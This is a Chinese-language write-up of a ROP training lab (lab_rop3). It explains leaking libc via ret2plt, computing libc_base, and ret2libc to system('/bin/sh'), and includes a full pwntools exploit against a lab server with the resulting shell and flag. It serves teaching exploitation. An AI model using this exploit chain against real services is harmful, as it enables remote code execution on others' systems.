LYS Rop lab_rop3 Writeup

kazma 成大資安社 創辦人/社長

lab_rop3

這次藉著到 AIS3 當助教的緣故順便跟 Curious 一起把 LYS ROP 系列課程的 lab 整理到了部落格,也方便給學員參考。
那因為是一系列的 lab,所以接下來只會主要講跟上個版本的差異

Diff & Exploitation

那這次基本上程式碼都跟上次一樣,只不過 file 會發現這次程式是動態的,所以 gadget 會少很多,但我們可以先用 ret2plt 來 leak 出 libc_base,可以透過呼叫 printf(某個 got) 然後減掉特定的 offset 來算出來。那有了 libc_base 之後我們就可以透過 return 回 main 讓程式跳回 main 重新開始執行,那接下來就沒什麼特別的,ret2libc 呼叫 system('/bin/sh') 就可以成功 RCE 了。

Patchelf

那因為這題需要 ret2libc 所以我們需要先把題目的 libc patch 上去,可以參考下面這篇:
https://kazma.tw/2024/04/19/Patchelf-Glibc-all-in-one-Combo/
首先我們看一下他 libc 版本:

1
2
3
4
5
6
7
8
└─$ strings ../libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
Compiled by GNU CC version 11.4.0.

└─$ cd glibc-all-in-one/
└─$ ./update_list
[+] Common list has been save to "list"
[+] Old-release list has been save to "old_list"

list 找不到一樣的只好自己抓:

1
2
3
4
5
6
7
8
9
└─$ wget http://launchpadlibrarian.net/689665881/libc6_2.35-0ubuntu3.4_amd64.deb
└─$ ./extract debs/libc6_2.35-0ubuntu3.4_amd64.deb libs/2.35-0ubuntu3.4
# 比對後確定是同一個
└─$ file ~/lys_rop/libc.so.6
/home/kazma/lys_rop/libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a43bfc8428df6623cd498c9c0caeb91aec9be4f9, for GNU/Linux 3.2.0, stripped

┌──(kazma㉿kali)-[~/glibc-all-in-one/libs/2.35-0ubuntu3.4]
└─$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a43bfc8428df6623cd498c9c0caeb91aec9be4f9, for GNU/Linux 3.2.0, stripped

放一下關鍵步驟:

1
2
└─$ patchelf --set-interpreter ../ld-linux-x86-64.so.2 rop3
└─$ patchelf --replace-needed libc.so.6 ../libc.so.6 rop3

Libc_base

因為這次很多學員還是不太熟算 libc_base 的方式,所以這邊特別拉出來講:
首先我們要先確認執行檔在本地在本地用的 libc 跟遠端是一樣的,不然 offset 算出來當然不會對,再來我們可以在 exploit 中插入像是 gdb.attach(r) 的方式,讓我們可以分析跑起來後的 process。
再來我們透過 u64(r.recv(6).ljust(8, b"\0")) 先 leak 出某個函式的 got,我們可以用下面幾種方式得到 offset:

readelf

readlelf

vmmap

vmmap
上面的截圖是首先可以看到我們 leak 出的 got 是:0x7fed250606f0
然後下面的紅框可以看到目前的 libc_base 是:0x7fed25000000
所以可以算出 offset 是:0x7fed250606f0 - 0x7fed25000000 = 0x606f0
同時 vmmap 也可以順便檢查我們的 libc 是不是跟 remote 一樣,那這邊是 patchelf 後的狀態,所以可以看到 libc 的位置是:/home/kazma/lys_rop/libc.so.6

xinfo

xinfo
如圖,應該不用多解釋了 XDD
那減完後可以確定一下你的 libc_base 最低三位是不是 0,因為 ASLR 隨機不會影響到最低三位,所以我常常會印出算完的 libc_base 也方便我檢查 remote 的時候有沒有爛掉。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import warnings

from pwn import *

warnings.filterwarnings("ignore", category=BytesWarning)

context.arch = "amd64"
# context.terminal = ['tmux', 'splitw', '-h']
# r = process("./rop3")
r = remote("35.229.243.81", 10103)
l = ELF("../libc.so.6")

pop_rdi = 0x4011F9
ret = 0x40101A
printf_plt = 0x401060
printf_got = 0x404018
main = 0x4011FE
name = 0x404060

p1 = flat(
b"a" * 0x18,
ret,
pop_rdi,
printf_got,
printf_plt,
ret,
main,
)
# gdb.attach(r)
r.sendlineafter(b"?", b" ")
r.sendlineafter(b":", p1)
r.recv(5)
l.address = u64(r.recv(6).ljust(8, b"\0")) - 0x606F0
print(l.address)
success("libc_base -> %s" % hex(l.address))

p2 = flat(b"a" * 0x18, pop_rdi, next(l.search("/bin/sh\0")), ret, l.sym.system)

# gdb.attach(r)
r.sendlineafter(b"?", b" ")
r.sendlineafter(b":", p2)
r.sendline("cat /home/chal/flag*")
r.interactive()

Result

1
2
3
4
5
6
7
8
9
10
11
12
└─$ python exploit.py
[+] Opening connection to 35.229.243.81 on port 10103: Done
[*] '/home/kazma/lys_rop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
140181073612800
[+] libc_base -> 0x7f7e7318d000
[*] Switching to interactive mode
FLAG{03cd43f4c45388e27a5de583b0e56a94}$

Pwned !!!

  • Title: LYS Rop lab_rop3 Writeup
  • Author: kazma
  • Created at : 2024-08-03 17:35:20
  • Updated at : 2024-08-05 19:18:26
  • Link: https://kazma.tw/2024/08/03/LYS-Rop-lab-rop3-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments